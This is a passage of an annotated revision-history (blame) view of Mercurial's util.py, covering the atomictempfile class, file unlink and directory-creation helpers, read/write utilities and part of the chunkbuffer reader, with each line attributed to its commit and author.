77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
  2059
        return True
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2060
29298
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
  2061
    def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
  2062
        return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
  2063
8778
c5f36402daad use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8631
diff changeset
  2064
class atomictempfile(object):
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
  2065
    '''writable file object that atomically updates a file
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2066
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
  2067
    All writes will go to a temporary copy of the original file. Call
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2068
    close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2069
    the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2070
    visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2071
    writes are discarded.
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2072
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2073
    checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2074
    useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2075
    or repo.wlock).
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
  2076
    '''
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2077
    def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2078
        self.__name = name      # permanent name
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2079
        self._tempname = mktempcopy(name, emptyok=('w' in mode),
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2080
                                    createmode=createmode)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2081
        self._fp = posixfile(self._tempname, mode)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2082
        self._checkambig = checkambig
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
  2083
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2084
        # delegated methods
29393
50269a4dce61 atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents: 29367
diff changeset
  2085
        self.read = self._fp.read
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2086
        self.write = self._fp.write
17237
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
  2087
        self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
  2088
        self.tell = self._fp.tell
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2089
        self.fileno = self._fp.fileno
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2090
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2091
    def close(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
  2092
        if not self._fp.closed:
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
  2093
            self._fp.close()
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2094
            filename = localpath(self.__name)
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  2095
            oldstat = self._checkambig and filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2096
            if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2097
                rename(self._tempname, filename)
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  2098
                newstat = filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2099
                if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2100
                    # stat of changed file is ambiguous to original one
36789
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36747
diff changeset
  2101
                    advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2102
                    os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2103
            else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2104
                rename(self._tempname, filename)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2105
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2106
    def discard(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
  2107
        if not self._fp.closed:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2108
            try:
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2109
                os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2110
            except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2111
                pass
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
  2112
            self._fp.close()
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2113
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
  2114
    def __del__(self):
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
  2115
        if safehasattr(self, '_fp'): # constructor actually did something
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2116
            self.discard()
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
  2117
29394
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2118
    def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2119
        return self
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2120
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2121
    def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2122
        if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2123
            self.discard()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2124
        else:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2125
            self.close()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2126
31545
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2127
def unlinkpath(f, ignoremissing=False):
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2128
    """unlink and remove the directory if it is empty"""
31547
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31546
diff changeset
  2129
    if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31546
diff changeset
  2130
        tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31546
diff changeset
  2131
    else:
31545
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2132
        unlink(f)
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2133
    # try removing directories that might now be empty
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2134
    try:
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2135
        removedirs(os.path.dirname(f))
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2136
    except OSError:
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2137
        pass
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2138
31546
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2139
def tryunlink(f):
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2140
    """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2141
    try:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2142
        unlink(f)
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2143
    except OSError as e:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2144
        if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2145
            raise
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
  2146
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
  2147
def makedirs(name, mode=None, notindexed=False):
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2148
    """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2149
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2150
    Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2151
    the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2152
    for "write" mode access.
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2153
    """
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2154
    try:
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
  2155
        makedir(name, notindexed)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  2156
    except OSError as err:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2157
        if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2158
            return
15058
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2159
        if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2160
            raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2161
        parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2162
        if parent == name:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2163
            raise
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
  2164
        makedirs(parent, mode, notindexed)
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2165
        try:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2166
            makedir(name, notindexed)
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2167
        except OSError as err:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2168
            # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2169
            if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2170
                return
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2171
            raise
18678
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
  2172
    if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
  2173
        os.chmod(name, mode)
18668
4034b8d551b1 scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents: 18614
diff changeset
  2174
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2175
def readfile(path):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
  2176
    with open(path, 'rb') as fp:
14100
3e9e02a41dfb util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents: 14099
diff changeset
  2177
        return fp.read()
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2178
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2179
def writefile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
  2180
    with open(path, 'wb') as fp:
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2181
        fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2182
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2183
def appendfile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
  2184
    with open(path, 'ab') as fp:
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2185
        fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2186
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2187
class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2188
    """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2189
    iterator over chunks of arbitrary size."""
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
  2190
5446
fa836e050c50 chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents: 5420
diff changeset
  2191
    def __init__(self, in_iter):
32176
5f53c267e362 util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents: 31952
diff changeset
  2192
        """in_iter is the iterator that's iterating over the input chunks."""
11670
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2193
        def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2194
            for chunk in chunks:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2195
                if len(chunk) > 2**20:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2196
                    pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2197
                    while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2198
                        end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2199
                        yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2200
                        pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2201
                else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2202
                    yield chunk
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2203
        self.iter = splitbig(in_iter)
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
  2204
        self._queue = collections.deque()
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2205
        self._chunkoffset = 0
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
  2206
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
  2207
    def read(self, l=None):
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
  2208
        """Read L bytes of data from the iterator of chunks of data.
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
  2209
        Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
  2210
23139
e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23097
diff changeset
  2211
        If size parameter is omitted, read everything"""
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2212
        if l is None:
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2213
            return ''.join(self.iter)
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2214
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2215
        left = l
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
  2216
        buf = []
16873
37e081609828 util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents: 16834
diff changeset
  2217
        queue = self._queue
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2218
        while left > 0:
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2219
            # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2220
            if not queue:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2221
                target = 2**18
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2222
                for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2223
                    queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2224
                    target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2225
                    if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2226
                        break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2227
                if not queue:
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2228
                    break
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2229
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2230
            # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2231
            # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2232
            # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2233
            # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2234
            # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2235
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2236
            chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2237
            chunkl = len(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2238
            offset = self._chunkoffset
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2239
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2240
            # Use full chunk.
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2241
            if offset == 0 and left >= chunkl:
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2242
                left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2243
                queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2244
                buf.append(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
